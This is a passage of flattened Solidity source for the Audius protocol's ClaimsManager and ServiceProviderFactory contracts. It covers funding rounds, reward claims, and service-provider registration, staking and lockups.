1342465.75342 AUDS roundNumber = 0; currentRound = Round({ fundedBlock: 0, fundedAmount: 0, totalClaimedInRound: 0 }); // Community pool funding amount and address initialized to zero recurringCommunityFundingAmount = 0; communityPoolAddress = address(0x0); InitializableV2.initialize(); } /// @notice Get the duration of a funding round in blocks function getFundingRoundBlockDiff() external view returns (uint256) { _requireIsInitialized(); return fundingRoundBlockDiff; } /// @notice Get the last block where a funding round was initiated function getLastFundedBlock() external view returns (uint256) { _requireIsInitialized(); return currentRound.fundedBlock; } /// @notice Get the amount funded per round in wei function getFundsPerRound() external view returns (uint256) { _requireIsInitialized(); return fundingAmount; } /// @notice Get the total amount claimed in the current round function getTotalClaimedInRound() external view returns (uint256) { _requireIsInitialized(); return currentRound.totalClaimedInRound; } /// @notice Get the Governance address function getGovernanceAddress() external view returns (address) { _requireIsInitialized(); return governanceAddress; } /// @notice Get the ServiceProviderFactory address function getServiceProviderFactoryAddress() external view returns (address) { _requireIsInitialized(); return serviceProviderFactoryAddress; } /// @notice Get the DelegateManager address function getDelegateManagerAddress() external view returns (address) { _requireIsInitialized(); return delegateManagerAddress; } /** * @notice Get the Staking address */ function getStakingAddress() external view returns (address) { _requireIsInitialized(); return stakingAddress; } /** * @notice Get the community pool address */ function getCommunityPoolAddress() external view returns (address) { _requireIsInitialized(); return communityPoolAddress; } /** * @notice Get the community funding amount */ function getRecurringCommunityFundingAmount() external view returns (uint256) { _requireIsInitialized(); return recurringCommunityFundingAmount; } /** * @notice Set the Governance address * @dev Only callable by Governance address * @param _governanceAddress - address for new Governance contract */ function setGovernanceAddress(address _governanceAddress) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); _updateGovernanceAddress(_governanceAddress); emit GovernanceAddressUpdated(_governanceAddress); } /** * @notice Set the Staking address * @dev Only callable by Governance address * @param _stakingAddress - address for new Staking contract */ function setStakingAddress(address _stakingAddress) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); stakingAddress = _stakingAddress; emit StakingAddressUpdated(_stakingAddress); } /** * @notice Set the ServiceProviderFactory address * @dev Only callable by Governance address * @param _serviceProviderFactoryAddress - address for new ServiceProviderFactory contract */ function setServiceProviderFactoryAddress(address _serviceProviderFactoryAddress) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); serviceProviderFactoryAddress = _serviceProviderFactoryAddress; emit ServiceProviderFactoryAddressUpdated(_serviceProviderFactoryAddress); } /** * @notice Set the DelegateManager address * @dev Only callable by Governance address * @param _delegateManagerAddress - address for new DelegateManager contract */ function setDelegateManagerAddress(address _delegateManagerAddress) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); delegateManagerAddress = _delegateManagerAddress; emit DelegateManagerAddressUpdated(_delegateManagerAddress); } /** * @notice Start a new funding round * @dev Permissioned to be callable by stakers or governance contract */ function initiateRound() external { _requireIsInitialized(); _requireStakingAddressIsSet(); require( block.number.sub(currentRound.fundedBlock) > fundingRoundBlockDiff, "ClaimsManager: Required block difference not met" ); currentRound = Round({ fundedBlock: block.number, fundedAmount: fundingAmount, totalClaimedInRound: 0 }); roundNumber = roundNumber.add(1); /* * Transfer community funding amount to community pool address, if set */ if (recurringCommunityFundingAmount > 0 && communityPoolAddress != address(0x0)) { // ERC20Mintable always returns true audiusToken.mint(address(this), recurringCommunityFundingAmount); // Approve transfer to community pool address audiusToken.approve(communityPoolAddress, recurringCommunityFundingAmount); // Transfer to community pool address ERC20(address(audiusToken)).safeTransfer(communityPoolAddress, recurringCommunityFundingAmount); emit CommunityRewardsTransferred(communityPoolAddress, recurringCommunityFundingAmount); } emit RoundInitiated( currentRound.fundedBlock, roundNumber, currentRound.fundedAmount ); } /** * @notice Mints and stakes tokens on behalf of ServiceProvider + delegators * @dev Callable through DelegateManager by Service Provider * @param _claimer - service provider address * @param _totalLockedForSP - amount of tokens locked up across DelegateManager + ServiceProvider * @return minted rewards for this claimer */ function processClaim( address _claimer, uint256 _totalLockedForSP ) external returns (uint256) { _requireIsInitialized(); _requireStakingAddressIsSet(); _requireDelegateManagerAddressIsSet(); _requireServiceProviderFactoryAddressIsSet(); require( msg.sender == delegateManagerAddress, "ClaimsManager: ProcessClaim only accessible to DelegateManager" ); Staking stakingContract = Staking(stakingAddress); // Prevent duplicate claim uint256 lastUserClaimBlock = stakingContract.lastClaimedFor(_claimer); require( lastUserClaimBlock <= currentRound.fundedBlock, "ClaimsManager: Claim already processed for user" ); uint256 totalStakedAtFundBlockForClaimer = stakingContract.totalStakedForAt( _claimer, currentRound.fundedBlock); (,,bool withinBounds,,,) = ( ServiceProviderFactory(serviceProviderFactoryAddress).getServiceProviderDetails(_claimer) ); // Once they claim the zero reward amount, stake can be modified once again // Subtract total locked amount for SP from stake at fund block uint256 totalActiveClaimerStake = totalStakedAtFundBlockForClaimer.sub(_totalLockedForSP); uint256 totalStakedAtFundBlock = stakingContract.totalStakedAt(currentRound.fundedBlock); // Calculate claimer rewards uint256 rewardsForClaimer = ( totalActiveClaimerStake.mul(fundingAmount) ).div(totalStakedAtFundBlock); // For a claimer violating bounds, no new tokens are minted // Claim history is marked to zero and function is short-circuited // Total rewards can be zero if all stake is currently locked up if (!withinBounds || rewardsForClaimer == 0) { stakingContract.updateClaimHistory(0, _claimer); emit ClaimProcessed( _claimer, 0, totalStakedAtFundBlockForClaimer, totalActiveClaimerStake ); return 0; } // ERC20Mintable always returns true audiusToken.mint(address(this), rewardsForClaimer); // Approve transfer to staking address for claimer rewards // ERC20 always returns true audiusToken.approve(stakingAddress, rewardsForClaimer); // Transfer rewards stakingContract.stakeRewards(rewardsForClaimer, _claimer); // Update round claim value currentRound.totalClaimedInRound = currentRound.totalClaimedInRound.add(rewardsForClaimer); // Update round claim value uint256 newTotal = stakingContract.totalStakedFor(_claimer); emit ClaimProcessed( _claimer, rewardsForClaimer, totalStakedAtFundBlockForClaimer, newTotal ); return rewardsForClaimer; } /** * @notice Modify funding amount per round * @param _newAmount - new amount to fund per round in wei */ function updateFundingAmount(uint256 _newAmount) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); fundingAmount = _newAmount; emit FundingAmountUpdated(_newAmount); } /** * @notice Returns boolean indicating whether a claim is considered pending * @dev Note that an address with no endpoints can never have a pending claim * @param _sp - address of the service provider to check * @return true if eligible for claim, false if not */ function claimPending(address _sp) external view returns (bool) { _requireIsInitialized(); _requireStakingAddressIsSet(); _requireServiceProviderFactoryAddressIsSet(); uint256 lastClaimedForSP = Staking(stakingAddress).lastClaimedFor(_sp); (,,,uint256 numEndpoints,,) = ( ServiceProviderFactory(serviceProviderFactoryAddress).getServiceProviderDetails(_sp) ); return (lastClaimedForSP < currentRound.fundedBlock && numEndpoints > 0); } /** * @notice Modify minimum block difference between funding rounds * @param _newFundingRoundBlockDiff - new min block difference to set */ function updateFundingRoundBlockDiff(uint256 _newFundingRoundBlockDiff) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); emit FundingRoundBlockDiffUpdated(_newFundingRoundBlockDiff); fundingRoundBlockDiff = _newFundingRoundBlockDiff; } /** * @notice Modify community funding amound for each round * @param _newRecurringCommunityFundingAmount - new reward amount transferred to * communityPoolAddress at funding round start */ function updateRecurringCommunityFundingAmount( uint256 _newRecurringCommunityFundingAmount ) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); recurringCommunityFundingAmount = _newRecurringCommunityFundingAmount; emit RecurringCommunityFundingAmountUpdated(_newRecurringCommunityFundingAmount); } /** * @notice Modify community pool address * @param _newCommunityPoolAddress - new address to which recurringCommunityFundingAmount * is transferred at funding round start */ function updateCommunityPoolAddress(address _newCommunityPoolAddress) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); communityPoolAddress = _newCommunityPoolAddress; emit CommunityPoolAddressUpdated(_newCommunityPoolAddress); } // ========================================= Private Functions ========================================= /** * @notice Set the governance address after confirming contract identity * @param _governanceAddress - Incoming governance address */ function _updateGovernanceAddress(address _governanceAddress) private { require( Governance(_governanceAddress).isGovernanceAddress() == true, "ClaimsManager: _governanceAddress is not a valid governance contract" ); governanceAddress = _governanceAddress; } function _requireStakingAddressIsSet() private view { require(stakingAddress != address(0x00), "ClaimsManager: stakingAddress is not set"); } function _requireDelegateManagerAddressIsSet() private view { require( delegateManagerAddress != address(0x00), "ClaimsManager: delegateManagerAddress is not set" ); } function _requireServiceProviderFactoryAddressIsSet() private view { require( serviceProviderFactoryAddress != address(0x00), "ClaimsManager: serviceProviderFactoryAddress is not set" ); } } // File: contracts/ServiceProviderFactory.sol pragma solidity ^0.5.0; /// @notice Governance imported via Staking.sol contract ServiceProviderFactory is InitializableV2 { using SafeMath for uint256; /// @dev - denominator for deployer cut calculations /// @dev - user values are intended to be x/DEPLOYER_CUT_BASE uint256 private constant DEPLOYER_CUT_BASE = 100; string private constant ERROR_ONLY_GOVERNANCE = ( "ServiceProviderFactory: Only callable by Governance contract" ); string private constant ERROR_ONLY_SP_GOVERNANCE = ( "ServiceProviderFactory: Only callable by Service Provider or Governance" ); address private stakingAddress; address private delegateManagerAddress; address private governanceAddress; address private serviceTypeManagerAddress; address private claimsManagerAddress; /// @notice Period in blocks that a decrease stake operation is delayed. /// Must be greater than governance votingPeriod + executionDelay in order to /// prevent pre-emptive withdrawal in anticipation of a slash proposal uint256 private decreaseStakeLockupDuration; /// @notice Period in blocks that an update deployer cut operation is delayed. /// Must be greater than funding round block diff in order /// to prevent manipulation around a funding round uint256 private deployerCutLockupDuration; /// @dev - Stores following entities /// 1) Directly staked amount by SP, not including delegators /// 2) % Cut of delegator tokens taken during reward /// 3) Bool indicating whether this SP has met min/max requirements /// 4) Number of endpoints registered by SP /// 5) Minimum deployer stake for this service provider /// 6) Maximum total stake for this account struct ServiceProviderDetails { uint256 deployerStake; uint256 deployerCut; bool validBounds; uint256 numberOfEndpoints; uint256 minAccountStake; uint256 maxAccountStake; } /// @dev - Data structure for time delay during withdrawal struct DecreaseStakeRequest { uint256 decreaseAmount; uint256 lockupExpiryBlock; } /// @dev - Data structure for time delay during deployer cut update struct UpdateDeployerCutRequest { uint256 newDeployerCut; uint256 lockupExpiryBlock; } /// @dev - Struct maintaining information about sp /// @dev - blocknumber is block.number when endpoint registered struct ServiceEndpoint { address owner; string endpoint; uint256 blocknumber; address delegateOwnerWallet; } /// @dev - Mapping of service provider address to details mapping(address => ServiceProviderDetails) private spDetails; /// @dev - Uniquely assigned serviceProvider ID, incremented for each service type /// @notice - Keeps track of the total number of services registered regardless of /// whether some have been deregistered since mapping(bytes32 => uint256) private serviceProviderTypeIDs; /// @dev - mapping of (serviceType -> (serviceInstanceId <-> serviceProviderInfo)) /// @notice - stores the actual service provider data like endpoint and owner wallet /// with the ability lookup by service type and service id */ mapping(bytes32 => mapping(uint256 => ServiceEndpoint)) private serviceProviderInfo; /// @dev - mapping of keccak256(endpoint) to uint256 ID /// @notice - used to check if a endpoint has already been registered and also lookup /// the id of an endpoint mapping(bytes32 => uint256) private serviceProviderEndpointToId; /// @dev - mapping of address -> sp id array */ /// @notice - stores all the services registered by a provider. for each address, /// provides the ability to lookup by service type and see all registered services mapping(address => mapping(bytes32 => uint256[])) private serviceProviderAddressToId; /// @dev - Mapping of service provider -> decrease stake request mapping(address => DecreaseStakeRequest) private decreaseStakeRequests; /// @dev - Mapping of service provider -> update deployer cut requests mapping(address => UpdateDeployerCutRequest) private updateDeployerCutRequests; event RegisteredServiceProvider( uint256 indexed _spID, bytes32 indexed _serviceType, address indexed _owner, string _endpoint, uint256 _stakeAmount ); event DeregisteredServiceProvider( uint256 indexed _spID, bytes32 indexed _serviceType, address indexed _owner, string _endpoint, uint256 _unstakeAmount ); event IncreasedStake( address indexed _owner, uint256 indexed _increaseAmount, uint256 indexed _newStakeAmount ); event DecreaseStakeRequested( address indexed _owner, uint256 indexed _decreaseAmount, uint256 indexed _lockupExpiryBlock ); event DecreaseStakeRequestCancelled( address indexed _owner, uint256 indexed _decreaseAmount, uint256 indexed _lockupExpiryBlock ); event DecreaseStakeRequestEvaluated( address indexed _owner, uint256 indexed _decreaseAmount, uint256 indexed _newStakeAmount ); event EndpointUpdated( bytes32 indexed _serviceType, address indexed _owner, string _oldEndpoint, string _newEndpoint, uint256 indexed _spID ); event DelegateOwnerWalletUpdated( address indexed _owner, bytes32 indexed _serviceType, uint256 indexed _spID, address _updatedWallet ); event DeployerCutUpdateRequested( address indexed _owner, uint256 indexed _updatedCut, uint256 indexed _lockupExpiryBlock ); event DeployerCutUpdateRequestCancelled( address indexed _owner, uint256 indexed _requestedCut, uint256 indexed _finalCut ); event DeployerCutUpdateRequestEvaluated( address indexed _owner, uint256 indexed _updatedCut ); event DecreaseStakeLockupDurationUpdated(uint256 indexed _lockupDuration); event UpdateDeployerCutLockupDurationUpdated(uint256 indexed _lockupDuration); event GovernanceAddressUpdated(address indexed _newGovernanceAddress); event StakingAddressUpdated(address indexed _newStakingAddress); event ClaimsManagerAddressUpdated(address indexed _newClaimsManagerAddress); event DelegateManagerAddressUpdated(address indexed _newDelegateManagerAddress); event ServiceTypeManagerAddressUpdated(address indexed _newServiceTypeManagerAddress); /** * @notice Function to initialize the contract * @dev stakingAddress must be initialized separately after Staking contract is deployed * @dev delegateManagerAddress must be initialized separately after DelegateManager contract is deployed * @dev serviceTypeManagerAddress must be initialized separately after ServiceTypeManager contract is deployed * @dev claimsManagerAddress must be initialized separately after ClaimsManager contract is deployed * @param _governanceAddress - Governance proxy address */ function initialize ( address _governanceAddress, address _claimsManagerAddress, uint256 _decreaseStakeLockupDuration, uint256 _deployerCutLockupDuration ) public initializer { _updateGovernanceAddress(_governanceAddress); claimsManagerAddress = _claimsManagerAddress; _updateDecreaseStakeLockupDuration(_decreaseStakeLockupDuration); _updateDeployerCutLockupDuration(_deployerCutLockupDuration); InitializableV2.initialize(); } /** * @notice Register a new endpoint to the account of msg.sender * @dev Transfers stake from service provider into staking pool * @param _serviceType - type of service to register, must be valid in ServiceTypeManager * @param _endpoint - url of the service to register - url of the service to register * @param _stakeAmount - amount to stake, must be within bounds in ServiceTypeManager * @param _delegateOwnerWallet - wallet to delegate some permissions for some basic management properties * @return New service provider ID for this endpoint */ function register( bytes32 _serviceType, string calldata _endpoint, uint256 _stakeAmount, address _delegateOwnerWallet ) external returns (uint256) { _requireIsInitialized(); _requireStakingAddressIsSet(); _requireServiceTypeManagerAddressIsSet(); _requireClaimsManagerAddressIsSet(); require( ServiceTypeManager(serviceTypeManagerAddress).serviceTypeIsValid(_serviceType), "ServiceProviderFactory: Valid service type required"); // Stake token amount from msg.sender if (_stakeAmount > 0) { require( !_claimPending(msg.sender), "ServiceProviderFactory: No pending claim expected" ); Staking(stakingAddress).stakeFor(msg.sender, _stakeAmount); } require ( serviceProviderEndpointToId[keccak256(bytes(_endpoint))] == 0, "ServiceProviderFactory: Endpoint already registered"); uint256 newServiceProviderID = serviceProviderTypeIDs[_serviceType].add(1); serviceProviderTypeIDs[_serviceType] = newServiceProviderID; // Index spInfo serviceProviderInfo[_serviceType][newServiceProviderID] = ServiceEndpoint({ owner: msg.sender, endpoint: _endpoint, blocknumber: block.number, delegateOwnerWallet: _delegateOwnerWallet }); // Update endpoint mapping serviceProviderEndpointToId[keccak256(bytes(_endpoint))] = newServiceProviderID; // Update (address -> type -> ids[]) serviceProviderAddressToId[msg.sender][_serviceType].push(newServiceProviderID); // Increment number of endpoints for this address spDetails[msg.sender].numberOfEndpoints = spDetails[msg.sender].numberOfEndpoints.add(1); // Update deployer total spDetails[msg.sender].deployerStake = ( spDetails[msg.sender].deployerStake.add(_stakeAmount) ); // Update min and max totals for this service provider (, uint256 typeMin, uint256 typeMax) = ServiceTypeManager( serviceTypeManagerAddress ).getServiceTypeInfo(_serviceType); spDetails[msg.sender].minAccountStake = spDetails[msg.sender].minAccountStake.add(typeMin); spDetails[msg.sender].maxAccountStake = spDetails[msg.sender].maxAccountStake.add(typeMax); // Confirm both aggregate account balance and directly staked amount are valid this.validateAccountStakeBalance(msg.sender); uint256 currentlyStakedForOwner = Staking(stakingAddress).totalStakedFor(msg.sender); // Indicate this service provider is within bounds spDetails[msg.sender].validBounds = true; emit RegisteredServiceProvider( newServiceProviderID, _serviceType, msg.sender, _endpoint, currentlyStakedForOwner ); return newServiceProviderID; } /** * @notice Deregister an endpoint from the account of msg.sender * @dev Unstakes all tokens for service provider if this is the last endpoint * @param _serviceType - type of service to deregister * @param _endpoint - endpoint to deregister * @return spId of the service that was deregistered */ function deregister( bytes32 _serviceType, string calldata _endpoint ) external returns (uint256) { _requireIsInitialized(); _requireStakingAddressIsSet(); _requireServiceTypeManagerAddressIsSet(); // Unstake on deregistration if and only if this is the last service endpoint uint256 unstakeAmount = 0; bool unstaked = false; // owned by the service provider if (spDetails[msg.sender].numberOfEndpoints == 1) { unstakeAmount = spDetails[msg.sender].deployerStake; // Submit request to decrease stake, overriding any pending request decreaseStakeRequests[msg.sender] = DecreaseStakeRequest({ decreaseAmount: unstakeAmount, lockupExpiryBlock: block.number.add(decreaseStakeLockupDuration) }); unstaked = true; } require ( serviceProviderEndpointToId[keccak256(bytes(_endpoint))] != 0, "ServiceProviderFactory: Endpoint not registered"); // Cache invalided service provider ID uint256 deregisteredID = serviceProviderEndpointToId[keccak256(bytes(_endpoint))]; // Update endpoint mapping serviceProviderEndpointToId[keccak256(bytes(_endpoint))] = 0; require( keccak256(bytes(serviceProviderInfo[_serviceType][deregisteredID].endpoint)) == keccak256(bytes(_endpoint)), "ServiceProviderFactory: Invalid endpoint for service type"); require ( serviceProviderInfo[_serviceType][deregisteredID].owner == msg.sender, "ServiceProviderFactory: Only callable by endpoint owner"); // Update info mapping delete serviceProviderInfo[_serviceType][deregisteredID]; // Reset id, update array uint256 spTypeLength = serviceProviderAddressToId[msg.sender][_serviceType].length; for (uint256 i = 0; i < spTypeLength; i ++) { if (serviceProviderAddressToId[msg.sender][_serviceType][i] == deregisteredID) { // Overwrite element to be deleted with last element in array serviceProviderAddressToId[msg.sender][_serviceType][i] = serviceProviderAddressToId[msg.sender][_serviceType][spTypeLength - 1]; // Reduce array size, exit loop serviceProviderAddressToId[msg.sender][_serviceType].length--; // Confirm this ID has been found for the service provider break; } } // Decrement number of endpoints for this address spDetails[msg.sender].numberOfEndpoints -= 1; // Update min and max totals for this service provider (, uint256 typeMin, uint256 typeMax) = ServiceTypeManager( serviceTypeManagerAddress ).getServiceTypeInfo(_serviceType); spDetails[msg.sender].minAccountStake = spDetails[msg.sender].minAccountStake.sub(typeMin); spDetails[msg.sender].maxAccountStake = spDetails[msg.sender].maxAccountStake.sub(typeMax); emit DeregisteredServiceProvider( deregisteredID, _serviceType, msg.sender, _endpoint, unstakeAmount); // Confirm both aggregate account balance and directly staked amount are valid // Only if unstake operation has not occurred if (!unstaked) { this.validateAccountStakeBalance(msg.sender); // Indicate this service provider is within bounds spDetails[msg.sender].validBounds = true; } return deregisteredID; } /** * @notice Increase stake for service provider * @param _increaseStakeAmount - amount to increase staked amount by * @return New total stake for service provider */ function increaseStake( uint256 _increaseStakeAmount ) external returns (uint256) { _requireIsInitialized(); _requireStakingAddressIsSet(); _requireClaimsManagerAddressIsSet(); // Confirm owner has an endpoint require( spDetails[msg.sender].numberOfEndpoints > 0, "ServiceProviderFactory: Registered endpoint required to increase stake" ); require( !_claimPending(msg.sender), "ServiceProviderFactory: No claim expected to be pending prior to stake transfer" ); Staking stakingContract = Staking( stakingAddress ); // Stake increased token amount for msg.sender stakingContract.stakeFor(msg.sender, _increaseStakeAmount); uint256 newStakeAmount = stakingContract.totalStakedFor(msg.sender); // Update deployer total spDetails[msg.sender].deployerStake = ( spDetails[msg.sender].deployerStake.add(_increaseStakeAmount) ); // Confirm both aggregate account balance and directly staked amount are valid this.validateAccountStakeBalance(msg.sender); // Indicate this service provider is within bounds spDetails[msg.sender].validBounds = true; emit IncreasedStake( msg.sender, _increaseStakeAmount, newStakeAmount ); return newStakeAmount; } /** * @notice Request to decrease stake. This sets a lockup for decreaseStakeLockupDuration after which the actual decreaseStake can be called * @dev Decreasing stake is only processed if a service provider is within valid bounds * @param _decreaseStakeAmount - amount to decrease stake by in wei * @return New total stake amount after the lockup */ function requestDecreaseStake(uint256 _decreaseStakeAmount) external returns (uint256) { _requireIsInitialized(); _requireStakingAddressIsSet(); _requireClaimsManagerAddressIsSet(); require( _decreaseStakeAmount > 0, "ServiceProviderFactory: Requested stake decrease amount must be greater than zero" ); require( !_claimPending(msg.sender), "ServiceProviderFactory: No claim expected to be pending prior to stake transfer" ); Staking stakingContract = Staking( stakingAddress ); uint256 currentStakeAmount = stakingContract.totalStakedFor(msg.sender); // Prohibit decreasing stake to invalid bounds _validateBalanceInternal(msg.sender, (currentStakeAmount.sub(_decreaseStakeAmount))); uint256 expiryBlock = block.number.add(decreaseStakeLockupDuration); decreaseStakeRequests[msg.sender] = DecreaseStakeRequest({ decreaseAmount: _decreaseStakeAmount, lockupExpiryBlock: expiryBlock }); emit DecreaseStakeRequested(msg.sender, _decreaseStakeAmount, expiryBlock); return currentStakeAmount.sub(_decreaseStakeAmount); } /** * @notice Cancel a decrease stake request during the lockup * @dev Either called by the service provider via DelegateManager or governance during a slash action * @param _account - address of service provider */ function cancelDecreaseStakeRequest(address _account) external { _requireIsInitialized(); _requireDelegateManagerAddressIsSet(); require( msg.sender == _account || msg.sender == delegateManagerAddress, "ServiceProviderFactory: Only owner or DelegateManager" ); require( _decreaseRequestIsPending(_account), "ServiceProviderFactory: Decrease stake request must be pending" ); DecreaseStakeRequest memory cancelledRequest = decreaseStakeRequests[_account]; // Clear decrease stake request decreaseStakeRequests[_account] = DecreaseStakeRequest({ decreaseAmount: 0, lockupExpiryBlock: 0 }); emit DecreaseStakeRequestCancelled( _account, cancelledRequest.decreaseAmount, cancelledRequest.lockupExpiryBlock ); } /** * @notice Called by user to decrease a stake after waiting the appropriate lockup period. * @return New total stake after decrease */ function decreaseStake() external returns (uint256) { _requireIsInitialized(); _requireStakingAddressIsSet(); require( _decreaseRequestIsPending(msg.sender), "ServiceProviderFactory: Decrease stake request must be pending" ); require( decreaseStakeRequests[msg.sender].lockupExpiryBlock <= block.number, "ServiceProviderFactory: Lockup must be expired" ); Staking stakingContract = Staking( stakingAddress ); uint256 decreaseAmount = decreaseStakeRequests[msg.sender].decreaseAmount; // Decrease staked token amount for msg.sender stakingContract.unstakeFor(msg.sender, decreaseAmount); // Query current stake uint256 newStakeAmount = stakingContract.totalStakedFor(msg.sender); // Update deployer total spDetails[msg.sender].deployerStake = ( spDetails[msg.sender].deployerStake.sub(decreaseAmount) ); // Confirm both aggregate account balance and directly staked amount are valid // During registration this validation is bypassed since no endpoints remain if (spDetails[msg.sender].numberOfEndpoints > 0) { this.validateAccountStakeBalance(msg.sender); } // Indicate this service provider is within bounds spDetails[msg.sender].validBounds = true; // Clear decrease stake request delete decreaseStakeRequests[msg.sender]; emit DecreaseStakeRequestEvaluated(msg.sender, decreaseAmount, newStakeAmount); return newStakeAmount; } /** * @notice Update delegate owner wallet for a given endpoint * @param _serviceType - type of service to register, must be valid in ServiceTypeManager * @param _endpoint - url of the service to register - url of the service to register * @param _updatedDelegateOwnerWallet - address of new delegate wallet */ function updateDelegateOwnerWallet( bytes32 _serviceType, string calldata _endpoint, address _updatedDelegateOwnerWallet ) external { _requireIsInitialized(); uint256 spID = this.getServiceProviderIdFromEndpoint(_endpoint); require( serviceProviderInfo[_serviceType][spID].owner == msg.sender, "ServiceProviderFactory: Invalid update operation, wrong owner" ); serviceProviderInfo[_serviceType][spID].delegateOwnerWallet = _updatedDelegateOwnerWallet; emit DelegateOwnerWalletUpdated( msg.sender, _serviceType, spID, _updatedDelegateOwnerWallet ); } /** * @notice Update the endpoint for a given service * @param _serviceType - type of service to register, must be valid in ServiceTypeManager * @param _oldEndpoint - old endpoint currently registered * @param _newEndpoint - new endpoint to replace old endpoint * @return ID of updated service provider */ function updateEndpoint( bytes32 _serviceType, string calldata _oldEndpoint, string calldata _newEndpoint ) external returns (uint256) { _requireIsInitialized(); uint256 spId = this.getServiceProviderIdFromEndpoint(_oldEndpoint); require ( spId != 0, "ServiceProviderFactory: Could not find service provider with that endpoint" ); ServiceEndpoint memory serviceEndpoint = serviceProviderInfo[_serviceType][spId]; require( serviceEndpoint.owner == msg.sender, "ServiceProviderFactory: Invalid update endpoint operation, wrong owner" ); require( keccak256(bytes(serviceEndpoint.endpoint)) == keccak256(bytes(_oldEndpoint)), "ServiceProviderFactory: Old endpoint doesn't match what's registered for the service provider" ); // invalidate old endpoint serviceProviderEndpointToId[keccak256(bytes(serviceEndpoint.endpoint))] = 0; // update to new endpoint serviceEndpoint.endpoint = _newEndpoint; serviceProviderInfo[_serviceType][spId] = serviceEndpoint; serviceProviderEndpointToId[keccak256(bytes(_newEndpoint))] = spId; emit EndpointUpdated(_serviceType, msg.sender, _oldEndpoint, _newEndpoint, spId); return spId; } /** * @notice Update the deployer cut for a given service provider * @param _serviceProvider - address of service provider * @param _cut - new value for deployer cut */ function requestUpdateDeployerCut(address _serviceProvider, uint256 _cut) external { _requireIsInitialized(); require( msg.sender == _serviceProvider || msg.sender == governanceAddress, ERROR_ONLY_SP_GOVERNANCE ); require( (updateDeployerCutRequests[_serviceProvider].lockupExpiryBlock == 0) && (updateDeployerCutRequests[_serviceProvider].newDeployerCut == 0), "ServiceProviderFactory: Update deployer cut operation pending" ); require( _cut <= DEPLOYER_CUT_BASE, "ServiceProviderFactory: Service Provider cut cannot exceed base value" ); uint256 expiryBlock = block.number + deployerCutLockupDuration; updateDeployerCutRequests[_serviceProvider] = UpdateDeployerCutRequest({ lockupExpiryBlock: expiryBlock, newDeployerCut: _cut }); emit DeployerCutUpdateRequested(_serviceProvider, _cut, expiryBlock); } /** * @notice Cancel a pending request to update deployer cut * @param _serviceProvider - address of service provider */ function cancelUpdateDeployerCut(address _serviceProvider) external { _requireIsInitialized(); _requirePendingDeployerCutOperation(_serviceProvider); require( msg.sender == _serviceProvider || msg.sender == governanceAddress, ERROR_ONLY_SP_GOVERNANCE ); UpdateDeployerCutRequest memory cancelledRequest = ( updateDeployerCutRequests[_serviceProvider] ); // Zero out request information delete updateDeployerCutRequests[_serviceProvider]; emit DeployerCutUpdateRequestCancelled( _serviceProvider, cancelledRequest.newDeployerCut, spDetails[_serviceProvider].deployerCut ); } /** * @notice Evalue request to update service provider cut of claims * @notice Update service provider cut as % of delegate claim, divided by the deployerCutBase. * @dev SPs will interact with this value as a percent, value translation done client side @dev A value of 5 dictates a 5% cut, with ( 5 / 100 ) * delegateReward going to an SP from each delegator each round. */ function updateDeployerCut(address _serviceProvider) external { _requireIsInitialized(); _requirePendingDeployerCutOperation(_serviceProvider); require( msg.sender == _serviceProvider || msg.sender == governanceAddress, ERROR_ONLY_SP_GOVERNANCE ); require( updateDeployerCutRequests[_serviceProvider].lockupExpiryBlock <= block.number, "ServiceProviderFactory: Lockup must be expired" ); spDetails[_serviceProvider].deployerCut = ( updateDeployerCutRequests[_serviceProvider].newDeployerCut ); // Zero out request information delete updateDeployerCutRequests[_serviceProvider]; emit DeployerCutUpdateRequestEvaluated( _serviceProvider, spDetails[_serviceProvider].deployerCut ); } /** * @notice Update service provider balance * @dev Called by DelegateManager by functions modifying entire stake like claim and slash * @param _serviceProvider - address of service provider * @param _amount - new amount of direct state for service provider */ function updateServiceProviderStake( address _serviceProvider, uint256 _amount ) external { _requireIsInitialized(); _requireStakingAddressIsSet(); _requireDelegateManagerAddressIsSet(); require( msg.sender == delegateManagerAddress, "ServiceProviderFactory: only callable by DelegateManager" ); // Update SP tracked total spDetails[_serviceProvider].deployerStake = _amount; _updateServiceProviderBoundStatus(_serviceProvider); } /// @notice Update service provider lockup duration function updateDecreaseStakeLockupDuration(uint256 _duration) external { _requireIsInitialized(); require( msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE ); _updateDecreaseStakeLockupDuration(_duration); emit DecreaseStakeLockupDurationUpdated(_duration); } /// @notice Update service provider lockup duration function updateDeployerCutLockupDuration(uint256 _duration) external { _requireIsInitialized(); require( msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE ); _updateDeployerCutLockupDuration(_duration); emit UpdateDeployerCutLockupDurationUpdated(_duration); } /// @notice Get denominator for deployer cut calculations function getServiceProviderDeployerCutBase() external view returns (uint256) { _requireIsInitialized(); return DEPLOYER_CUT_BASE; } /// @notice Get current deployer cut update lockup duration function getDeployerCutLockupDuration() external view returns (uint256) { _requireIsInitialized(); return deployerCutLockupDuration; } /// @notice Get total number of service providers for a given serviceType function getTotalServiceTypeProviders(bytes32 _serviceType) external view returns (uint256) { _requireIsInitialized(); return serviceProviderTypeIDs[_serviceType]; } /// @notice Get service provider id for an endpoint function getServiceProviderIdFromEndpoint(string calldata _endpoint) external view returns (uint256) { _requireIsInitialized(); return serviceProviderEndpointToId[keccak256(bytes(_endpoint))]; } /** * @notice Get service provider ids for a given service provider and service type * @return List of service ids of that type for a service provider */ function getServiceProviderIdsFromAddress(address _ownerAddress, bytes32 _serviceType) external view returns (uint256[] memory) { _requireIsInitialized(); return serviceProviderAddressToId[_ownerAddress][_serviceType]; } /** * @notice Get information about a service endpoint given its service id * @param _serviceType - type of service, must be a valid service from ServiceTypeManager * @param _serviceId - id of service */ function getServiceEndpointInfo(bytes32 _serviceType, uint256 _serviceId) external view returns (address owner, string memory endpoint, uint256 blockNumber, address delegateOwnerWallet) { _requireIsInitialized(); ServiceEndpoint memory serviceEndpoint = 